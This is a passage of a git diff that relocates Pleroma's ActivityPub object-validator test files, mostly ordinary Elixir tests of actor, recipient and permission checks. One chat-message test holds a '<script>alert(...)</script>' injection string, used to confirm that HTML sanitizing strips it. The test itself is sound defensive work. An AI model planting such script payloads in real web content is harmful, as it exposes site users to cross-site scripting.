ObjectValidator.validate(valid_chat_message, [])) + end + + test "does not validate if the actor or the recipient is not in our system", %{ + valid_chat_message: valid_chat_message + } do + chat_message = + valid_chat_message + |> Map.put("actor", "https://raymoo.com/raymoo") + + {:error, _} = ObjectValidator.validate(chat_message, []) + + chat_message = + valid_chat_message + |> Map.put("to", ["https://raymoo.com/raymoo"]) + + {:error, _} = ObjectValidator.validate(chat_message, []) + end + + test "does not validate for a message with multiple recipients", %{ + valid_chat_message: valid_chat_message, + user: user, + recipient: recipient + } do + chat_message = + valid_chat_message + |> Map.put("to", [user.ap_id, recipient.ap_id]) + + assert {:error, _} = ObjectValidator.validate(chat_message, []) + end + + test "does not validate if it doesn't concern local users" do + user = insert(:user, local: false) + recipient = insert(:user, local: false) + + {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey") + assert {:error, _} = ObjectValidator.validate(valid_chat_message, []) + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs new file mode 100644 index 000000000..02683b899 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.DeleteValidationTest do + use Pleroma.DataCase + + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "deletes" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "cancel me daddy"}) + + {:ok, valid_post_delete, _} = Builder.delete(user, post_activity.data["object"]) + {:ok, valid_user_delete, _} = Builder.delete(user, user.ap_id) + + %{user: user, valid_post_delete: valid_post_delete, valid_user_delete: valid_user_delete} + end + + test "it is valid for a post deletion", %{valid_post_delete: valid_post_delete} do + {:ok, valid_post_delete, _} = ObjectValidator.validate(valid_post_delete, []) + + assert valid_post_delete["deleted_activity_id"] + end + + test "it is invalid if the object isn't in a list of certain types", %{ + valid_post_delete: valid_post_delete + } do + object = Object.get_by_ap_id(valid_post_delete["object"]) + + data = + object.data + |> Map.put("type", "Like") + + {:ok, _object} = + object + |> Ecto.Changeset.change(%{data: data}) + |> Object.update_and_set_cache() + + {:error, cng} = ObjectValidator.validate(valid_post_delete, []) + assert {:object, {"object not in allowed types", []}} in cng.errors + end + + test "it is valid for a user deletion", %{valid_user_delete: valid_user_delete} do + assert match?({:ok, _, _}, ObjectValidator.validate(valid_user_delete, [])) + end + + test "it's invalid if the id is missing", %{valid_post_delete: valid_post_delete} do + no_id = + valid_post_delete + |> Map.delete("id") + + {:error, cng} = ObjectValidator.validate(no_id, []) + + assert {:id, {"can't be blank", [validation: :required]}} in cng.errors + end + + test "it's invalid if the object doesn't exist", %{valid_post_delete: valid_post_delete} do + missing_object = + valid_post_delete + |> Map.put("object", "http://does.not/exist") + + {:error, cng} = ObjectValidator.validate(missing_object, []) + + assert {:object, {"can't find object", []}} in cng.errors + end + + test "it's invalid if the actor of the object and the actor of delete are from different domains", + %{valid_post_delete: valid_post_delete} do + valid_user = insert(:user) + + valid_other_actor = + valid_post_delete + |> Map.put("actor", valid_user.ap_id) + + assert match?({:ok, _, _}, ObjectValidator.validate(valid_other_actor, [])) + + invalid_other_actor = + valid_post_delete + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + {:error, cng} = ObjectValidator.validate(invalid_other_actor, []) + + assert {:actor, {"is not allowed to modify object", []}} in cng.errors + end + + test "it's valid if the actor of the object is a local superuser", + %{valid_post_delete: valid_post_delete} do + user = + insert(:user, local: true, is_moderator: true, ap_id: "https://gensokyo.2hu/users/raymoo") + + valid_other_actor = + valid_post_delete + |> Map.put("actor", user.ap_id) + + {:ok, _, meta} = ObjectValidator.validate(valid_other_actor, []) + assert meta[:do_not_federate] + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs new file mode 100644 index 000000000..582e6d785 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.EmojiReactHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "EmojiReacts" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + + object = Pleroma.Object.get_by_ap_id(post_activity.data["object"]) + + {:ok, valid_emoji_react, []} = Builder.emoji_react(user, object, "👌") + + %{user: user, post_activity: post_activity, valid_emoji_react: valid_emoji_react} + end + + test "it validates a valid EmojiReact", %{valid_emoji_react: valid_emoji_react} do + assert {:ok, _, _} = ObjectValidator.validate(valid_emoji_react, []) + end + + test "it is not valid without a 'content' field", %{valid_emoji_react: valid_emoji_react} do + without_content = + valid_emoji_react + |> Map.delete("content") + + {:error, cng} = ObjectValidator.validate(without_content, []) + + refute cng.valid? + assert {:content, {"can't be blank", [validation: :required]}} in cng.errors + end + + test "it is not valid with a non-emoji content field", %{valid_emoji_react: valid_emoji_react} do + without_emoji_content = + valid_emoji_react + |> Map.put("content", "x") + + {:error, cng} = ObjectValidator.validate(without_emoji_content, []) + + refute cng.valid? + + assert {:content, {"must be a single character emoji", []}} in cng.errors + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs new file mode 100644 index 000000000..6e1378be2 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs @@ -0,0 +1,26 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.FollowValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + + import Pleroma.Factory + + describe "Follows" do + setup do + follower = insert(:user) + followed = insert(:user) + + {:ok, valid_follow, []} = Builder.follow(follower, followed) + %{follower: follower, followed: followed, valid_follow: valid_follow} + end + + test "validates a basic follow object", %{valid_follow: valid_follow} do + assert {:ok, _follow, []} = ObjectValidator.validate(valid_follow, []) + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs new file mode 100644 index 000000000..2c033b7e2 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs @@ -0,0 +1,113 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.LikeValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.ActivityPub.ObjectValidators.LikeValidator + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "likes" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + + valid_like = %{ + "to" => [user.ap_id], + "cc" => [], + "type" => "Like", + "id" => Utils.generate_activity_id(), + "object" => post_activity.data["object"], + "actor" => user.ap_id, + "context" => "a context" + } + + %{valid_like: valid_like, user: user, post_activity: post_activity} + end + + test "returns ok when called in the ObjectValidator", %{valid_like: valid_like} do + {:ok, object, _meta} = ObjectValidator.validate(valid_like, []) + + assert "id" in Map.keys(object) + end + + test "is valid for a valid object", %{valid_like: valid_like} do + assert LikeValidator.cast_and_validate(valid_like).valid? + end + + test "sets the 'to' field to the object actor if no recipients are given", %{ + valid_like: valid_like, + user: user + } do + without_recipients = + valid_like + |> Map.delete("to") + + {:ok, object, _meta} = ObjectValidator.validate(without_recipients, []) + + assert object["to"] == [user.ap_id] + end + + test "sets the context field to the context of the object if no context is given", %{ + valid_like: valid_like, + post_activity: post_activity + } do + without_context = + valid_like + |> Map.delete("context") + + {:ok, object, _meta} = ObjectValidator.validate(without_context, []) + + assert object["context"] == post_activity.data["context"] + end + + test "it errors when the actor is missing or not known", %{valid_like: valid_like} do + without_actor = Map.delete(valid_like, "actor") + + refute LikeValidator.cast_and_validate(without_actor).valid? + + with_invalid_actor = Map.put(valid_like, "actor", "invalidactor") + + refute LikeValidator.cast_and_validate(with_invalid_actor).valid? + end + + test "it errors when the object is missing or not known", %{valid_like: valid_like} do + without_object = Map.delete(valid_like, "object") + + refute LikeValidator.cast_and_validate(without_object).valid? + + with_invalid_object = Map.put(valid_like, "object", "invalidobject") + + refute LikeValidator.cast_and_validate(with_invalid_object).valid? + end + + test "it errors when the actor has already like the object", %{ + valid_like: valid_like, + user: user, + post_activity: post_activity + } do + _like = CommonAPI.favorite(user, post_activity.id) + + refute LikeValidator.cast_and_validate(valid_like).valid? + end + + test "it works when actor or object are wrapped in maps", %{valid_like: valid_like} do + wrapped_like = + valid_like + |> Map.put("actor", %{"id" => valid_like["actor"]}) + |> Map.put("object", %{"id" => valid_like["object"]}) + + validated = LikeValidator.cast_and_validate(wrapped_like) + + assert validated.valid? + + assert {:actor, valid_like["actor"]} in validated.changes + assert {:object, valid_like["object"]} in validated.changes + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs new file mode 100644 index 000000000..75bbcc4b6 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.UndoHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "Undos" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + {:ok, like} = CommonAPI.favorite(user, post_activity.id) + {:ok, valid_like_undo, []} = Builder.undo(user, like) + + %{user: user, like: like, valid_like_undo: valid_like_undo} + end + + test "it validates a basic like undo", %{valid_like_undo: valid_like_undo} do + assert {:ok, _, _} = ObjectValidator.validate(valid_like_undo, []) + end + + test "it does not validate if the actor of the undo is not the actor of the object", %{ + valid_like_undo: valid_like_undo + } do + other_user = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") + + bad_actor = + valid_like_undo + |> Map.put("actor", other_user.ap_id) + + {:error, cng} = ObjectValidator.validate(bad_actor, []) + + assert {:actor, {"not the same as object actor", []}} in cng.errors + end + + test "it does not validate if the object is missing", %{valid_like_undo: valid_like_undo} do + missing_object = + valid_like_undo + |> Map.put("object", "https://gensokyo.2hu/objects/1") + + {:error, cng} = ObjectValidator.validate(missing_object, []) + + assert {:object, {"can't find object", []}} in cng.errors + assert length(cng.errors) == 1 + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs new file mode 100644 index 000000000..5e80cf731 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.UpdateHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + + import Pleroma.Factory + + describe "updates" do + setup do + user = insert(:user) + + object = %{ + "id" => user.ap_id, + "name" => "A new name", + "summary" => "A new bio" + } + + {:ok, valid_update, []} = Builder.update(user, object) + + %{user: user, valid_update: valid_update} + end + + test "validates a basic object", %{valid_update: valid_update} do + assert {:ok, _update, []} = ObjectValidator.validate(valid_update, []) + end + + test "returns an error if the object can't be updated by the actor", %{ + valid_update: valid_update + } do + other_user = insert(:user) + + update = + valid_update + |> Map.put("actor", other_user.ap_id) + + assert {:error, _cng} = ObjectValidator.validate(update, []) + end + end +end diff --git a/test/web/activity_pub/object_validators/announce_validation_test.exs b/test/web/activity_pub/object_validators/announce_validation_test.exs deleted file mode 100644 index 623342f76..000000000 --- a/test/web/activity_pub/object_validators/announce_validation_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AnnouncValidationTest do - use Pleroma.DataCase - - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "announces" do - setup do - user = insert(:user) - announcer = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - - object = Object.normalize(post_activity, false) - {:ok, valid_announce, []} = Builder.announce(announcer, object) - - %{ - valid_announce: valid_announce, - user: user, - post_activity: post_activity, - announcer: announcer - } - end - - test "returns ok for a valid announce", %{valid_announce: valid_announce} do - assert {:ok, _object, _meta} = ObjectValidator.validate(valid_announce, []) - end - - test "returns an error if the object can't be found", %{valid_announce: valid_announce} do - without_object = - valid_announce - |> Map.delete("object") - - {:error, cng} = ObjectValidator.validate(without_object, []) - - assert {:object, {"can't be blank", [validation: :required]}} in cng.errors - - nonexisting_object = - valid_announce - |> Map.put("object", "https://gensokyo.2hu/objects/99999999") - - {:error, cng} = ObjectValidator.validate(nonexisting_object, []) - - assert {:object, {"can't find object", []}} in cng.errors - end - - test "returns an error if we don't have the actor", %{valid_announce: valid_announce} do - nonexisting_actor = - valid_announce - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - {:error, cng} = ObjectValidator.validate(nonexisting_actor, []) - - assert {:actor, {"can't find user", []}} in cng.errors - end - - test "returns an error if the actor already announced the object", %{ - valid_announce: valid_announce, - announcer: announcer, - post_activity: post_activity - } do - _announce = CommonAPI.repeat(post_activity.id, announcer) - - {:error, cng} = ObjectValidator.validate(valid_announce, []) - - assert {:actor, {"already announced this object", []}} in cng.errors - assert {:object, {"already announced by this actor", []}} in cng.errors - end - - test "returns an error if the actor can't announce the object", %{ - announcer: announcer, - user: user - } do - {:ok, post_activity} = - CommonAPI.post(user, %{status: "a secret post", visibility: "private"}) - - object = Object.normalize(post_activity, false) - - # Another user can't announce it - {:ok, announce, []} = Builder.announce(announcer, object, public: false) - - {:error, cng} = ObjectValidator.validate(announce, []) - - assert {:actor, {"can not announce this object", []}} in cng.errors - - # The actor of the object can announce it - {:ok, announce, []} = Builder.announce(user, object, public: false) - - assert {:ok, _, _} = ObjectValidator.validate(announce, []) - - # The actor of the object can not announce it publicly - {:ok, announce, []} = Builder.announce(user, object, public: true) - - {:error, cng} = ObjectValidator.validate(announce, []) - - assert {:actor, {"can not announce this object publicly", []}} in cng.errors - end - end -end diff --git a/test/web/activity_pub/object_validators/attachment_validator_test.exs b/test/web/activity_pub/object_validators/attachment_validator_test.exs deleted file mode 100644 index 558bb3131..000000000 --- a/test/web/activity_pub/object_validators/attachment_validator_test.exs +++ /dev/null @@ -1,74 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidatorTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator - - import Pleroma.Factory - - describe "attachments" do - test "works with honkerific attachments" do - attachment = %{ - "mediaType" => "", - "name" => "", - "summary" => "298p3RG7j27tfsZ9RQ.jpg", - "type" => "Document", - "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" - } - - assert {:ok, attachment} = - AttachmentValidator.cast_and_validate(attachment) - |> Ecto.Changeset.apply_action(:insert) - - assert attachment.mediaType == "application/octet-stream" - end - - test "it turns mastodon attachments into our attachments" do - attachment = %{ - "url" => - "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", - "type" => "Document", - "name" => nil, - "mediaType" => "image/jpeg" - } - - {:ok, attachment} = - AttachmentValidator.cast_and_validate(attachment) - |> Ecto.Changeset.apply_action(:insert) - - assert [ - %{ - href: - "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", - type: "Link", - mediaType: "image/jpeg" - } - ] = attachment.url - - assert attachment.mediaType == "image/jpeg" - end - - test "it handles our own uploads" do - user = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, attachment} = - attachment.data - |> AttachmentValidator.cast_and_validate() - |> Ecto.Changeset.apply_action(:insert) - - assert attachment.mediaType == "image/jpeg" - end - end -end diff --git a/test/web/activity_pub/object_validators/block_validation_test.exs b/test/web/activity_pub/object_validators/block_validation_test.exs deleted file mode 100644 index c08d4b2e8..000000000 --- a/test/web/activity_pub/object_validators/block_validation_test.exs +++ /dev/null @@ -1,39 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.BlockValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - - import Pleroma.Factory - - describe "blocks" do - setup do - user = insert(:user, local: false) - blocked = insert(:user) - - {:ok, valid_block, []} = Builder.block(user, blocked) - - %{user: user, valid_block: valid_block} - end - - test "validates a basic object", %{ - valid_block: valid_block - } do - assert {:ok, _block, []} = ObjectValidator.validate(valid_block, []) - end - - test "returns an error if we don't know the blocked user", %{ - valid_block: valid_block - } do - block = - valid_block - |> Map.put("object", "https://gensokyo.2hu/users/raymoo") - - assert {:error, _cng} = ObjectValidator.validate(block, []) - end - end -end diff --git a/test/web/activity_pub/object_validators/chat_validation_test.exs b/test/web/activity_pub/object_validators/chat_validation_test.exs deleted file mode 100644 index 16e4808e5..000000000 --- a/test/web/activity_pub/object_validators/chat_validation_test.exs +++ /dev/null @@ -1,212 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do - use Pleroma.DataCase - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "chat message create activities" do - test "it is invalid if the object already exists" do - user = insert(:user) - recipient = insert(:user) - {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "hey") - object = Object.normalize(activity, false) - - {:ok, create_data, _} = Builder.create(user, object.data, [recipient.ap_id]) - - {:error, cng} = ObjectValidator.validate(create_data, []) - - assert {:object, {"The object to create already exists", []}} in cng.errors - end - - test "it is invalid if the object data has a different `to` or `actor` field" do - user = insert(:user) - recipient = insert(:user) - {:ok, object_data, _} = Builder.chat_message(recipient, user.ap_id, "Hey") - - {:ok, create_data, _} = Builder.create(user, object_data, [recipient.ap_id]) - - {:error, cng} = ObjectValidator.validate(create_data, []) - - assert {:to, {"Recipients don't match with object recipients", []}} in cng.errors - assert {:actor, {"Actor doesn't match with object actor", []}} in cng.errors - end - end - - describe "chat messages" do - setup do - clear_config([:instance, :remote_limit]) - user = insert(:user) - recipient = insert(:user, local: false) - - {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey :firefox:") - - %{user: user, recipient: recipient, valid_chat_message: valid_chat_message} - end - - test "let's through some basic html", %{user: user, recipient: recipient} do - {:ok, valid_chat_message, _} = - Builder.chat_message( - user, - recipient.ap_id, - "hey <a href='https://example.org'>example</a> <script>alert('uguu')</script>" - ) - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["content"] == - "hey <a href=\"https://example.org\">example</a> alert('uguu')" - end - - test "validates for a basic object we build", %{valid_chat_message: valid_chat_message} do - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert Map.put(valid_chat_message, "attachment", nil) == object - assert match?(%{"firefox" => _}, object["emoji"]) - end - - test "validates for a basic object with an attachment", %{ - valid_chat_message: valid_chat_message, - user: user - } do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - valid_chat_message = - valid_chat_message - |> Map.put("attachment", attachment.data) - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["attachment"] - end - - test "validates for a basic object with an attachment in an array", %{ - valid_chat_message: valid_chat_message, - user: user - } do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - valid_chat_message = - valid_chat_message - |> Map.put("attachment", [attachment.data]) - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["attachment"] - end - - test "validates for a basic object with an attachment but without content", %{ - valid_chat_message: valid_chat_message, - user: user - } do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - valid_chat_message = - valid_chat_message - |> Map.put("attachment", attachment.data) - |> Map.delete("content") - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["attachment"] - end - - test "does not validate if the message has no content", %{ - valid_chat_message: valid_chat_message - } do - contentless = - valid_chat_message - |> Map.delete("content") - - refute match?({:ok, _object, _meta}, ObjectValidator.validate(contentless, [])) - end - - test "does not validate if the message is longer than the remote_limit", %{ - valid_chat_message: valid_chat_message - } do - Pleroma.Config.put([:instance, :remote_limit], 2) - refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) - end - - test "does not validate if the recipient is blocking the actor", %{ - valid_chat_message: valid_chat_message, - user: user, - recipient: recipient - } do - Pleroma.User.block(recipient, user) - refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) - end - - test "does not validate if the recipient is not accepting chat messages", %{ - valid_chat_message: valid_chat_message, - recipient: recipient - } do - recipient - |> Ecto.Changeset.change(%{accepts_chat_messages: false}) - |> Pleroma.Repo.update!() - - refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) - end - - test "does not validate if the actor or the recipient is not in our system", %{ - valid_chat_message: valid_chat_message - } do - chat_message = - valid_chat_message - |> Map.put("actor", "https://raymoo.com/raymoo") - - {:error, _} = ObjectValidator.validate(chat_message, []) - - chat_message = - valid_chat_message - |> Map.put("to", ["https://raymoo.com/raymoo"]) - - {:error, _} = ObjectValidator.validate(chat_message, []) - end - - test "does not validate for a message with multiple recipients", %{ - valid_chat_message: valid_chat_message, - user: user, - recipient: recipient - } do - chat_message = - valid_chat_message - |> Map.put("to", [user.ap_id, recipient.ap_id]) - - assert {:error, _} = ObjectValidator.validate(chat_message, []) - end - - test "does not validate if it doesn't concern local users" do - user = insert(:user, local: false) - recipient = insert(:user, local: false) - - {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey") - assert {:error, _} = ObjectValidator.validate(valid_chat_message, []) - end - end -end diff --git a/test/web/activity_pub/object_validators/delete_validation_test.exs b/test/web/activity_pub/object_validators/delete_validation_test.exs deleted file mode 100644 index 02683b899..000000000 --- a/test/web/activity_pub/object_validators/delete_validation_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.DeleteValidationTest do - use Pleroma.DataCase - - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "deletes" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "cancel me daddy"}) - - {:ok, valid_post_delete, _} = Builder.delete(user, post_activity.data["object"]) - {:ok, valid_user_delete, _} = Builder.delete(user, user.ap_id) - - %{user: user, valid_post_delete: valid_post_delete, valid_user_delete: valid_user_delete} - end - - test "it is valid for a post deletion", %{valid_post_delete: valid_post_delete} do - {:ok, valid_post_delete, _} = ObjectValidator.validate(valid_post_delete, []) - - assert valid_post_delete["deleted_activity_id"] - end - - test "it is invalid if the object isn't in a list of certain types", %{ - valid_post_delete: valid_post_delete - } do - object = Object.get_by_ap_id(valid_post_delete["object"]) - - data = - object.data - |> Map.put("type", "Like") - - {:ok, _object} = - object - |> Ecto.Changeset.change(%{data: data}) - |> Object.update_and_set_cache() - - {:error, cng} = ObjectValidator.validate(valid_post_delete, []) - assert {:object, {"object not in allowed types", []}} in cng.errors - end - - test "it is valid for a user deletion", %{valid_user_delete: valid_user_delete} do - assert match?({:ok, _, _}, ObjectValidator.validate(valid_user_delete, [])) - end - - test "it's invalid if the id is missing", %{valid_post_delete: valid_post_delete} do - no_id = - valid_post_delete - |> Map.delete("id") - - {:error, cng} = ObjectValidator.validate(no_id, []) - - assert {:id, {"can't be blank", [validation: :required]}} in cng.errors - end - - test "it's invalid if the object doesn't exist", %{valid_post_delete: valid_post_delete} do - missing_object = - valid_post_delete - |> Map.put("object", "http://does.not/exist") - - {:error, cng} = ObjectValidator.validate(missing_object, []) - - assert {:object, {"can't find object", []}} in cng.errors - end - - test "it's invalid if the actor of the object and the actor of delete are from different domains", - %{valid_post_delete: valid_post_delete} do - valid_user = insert(:user) - - valid_other_actor = - valid_post_delete - |> Map.put("actor", valid_user.ap_id) - - assert match?({:ok, _, _}, ObjectValidator.validate(valid_other_actor, [])) - - invalid_other_actor = - valid_post_delete - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - {:error, cng} = ObjectValidator.validate(invalid_other_actor, []) - - assert {:actor, {"is not allowed to modify object", []}} in cng.errors - end - - test "it's valid if the actor of the object is a local superuser", - %{valid_post_delete: valid_post_delete} do - user = - insert(:user, local: true, is_moderator: true, ap_id: "https://gensokyo.2hu/users/raymoo") - - valid_other_actor = - valid_post_delete - |> Map.put("actor", user.ap_id) - - {:ok, _, meta} = ObjectValidator.validate(valid_other_actor, []) - assert meta[:do_not_federate] - end - end -end diff --git a/test/web/activity_pub/object_validators/emoji_react_validation_test.exs b/test/web/activity_pub/object_validators/emoji_react_validation_test.exs deleted file mode 100644 index 582e6d785..000000000 --- a/test/web/activity_pub/object_validators/emoji_react_validation_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.EmojiReactHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "EmojiReacts" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - - object = Pleroma.Object.get_by_ap_id(post_activity.data["object"]) - - {:ok, valid_emoji_react, []} = Builder.emoji_react(user, object, "👌") - - %{user: user, post_activity: post_activity, valid_emoji_react: valid_emoji_react} - end - - test "it validates a valid EmojiReact", %{valid_emoji_react: valid_emoji_react} do - assert {:ok, _, _} = ObjectValidator.validate(valid_emoji_react, []) - end - - test "it is not valid without a 'content' field", %{valid_emoji_react: valid_emoji_react} do - without_content = - valid_emoji_react - |> Map.delete("content") - - {:error, cng} = ObjectValidator.validate(without_content, []) - - refute cng.valid? - assert {:content, {"can't be blank", [validation: :required]}} in cng.errors - end - - test "it is not valid with a non-emoji content field", %{valid_emoji_react: valid_emoji_react} do - without_emoji_content = - valid_emoji_react - |> Map.put("content", "x") - - {:error, cng} = ObjectValidator.validate(without_emoji_content, []) - - refute cng.valid? - - assert {:content, {"must be a single character emoji", []}} in cng.errors - end - end -end diff --git a/test/web/activity_pub/object_validators/follow_validation_test.exs b/test/web/activity_pub/object_validators/follow_validation_test.exs deleted file mode 100644 index 6e1378be2..000000000 --- a/test/web/activity_pub/object_validators/follow_validation_test.exs +++ /dev/null @@ -1,26 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# 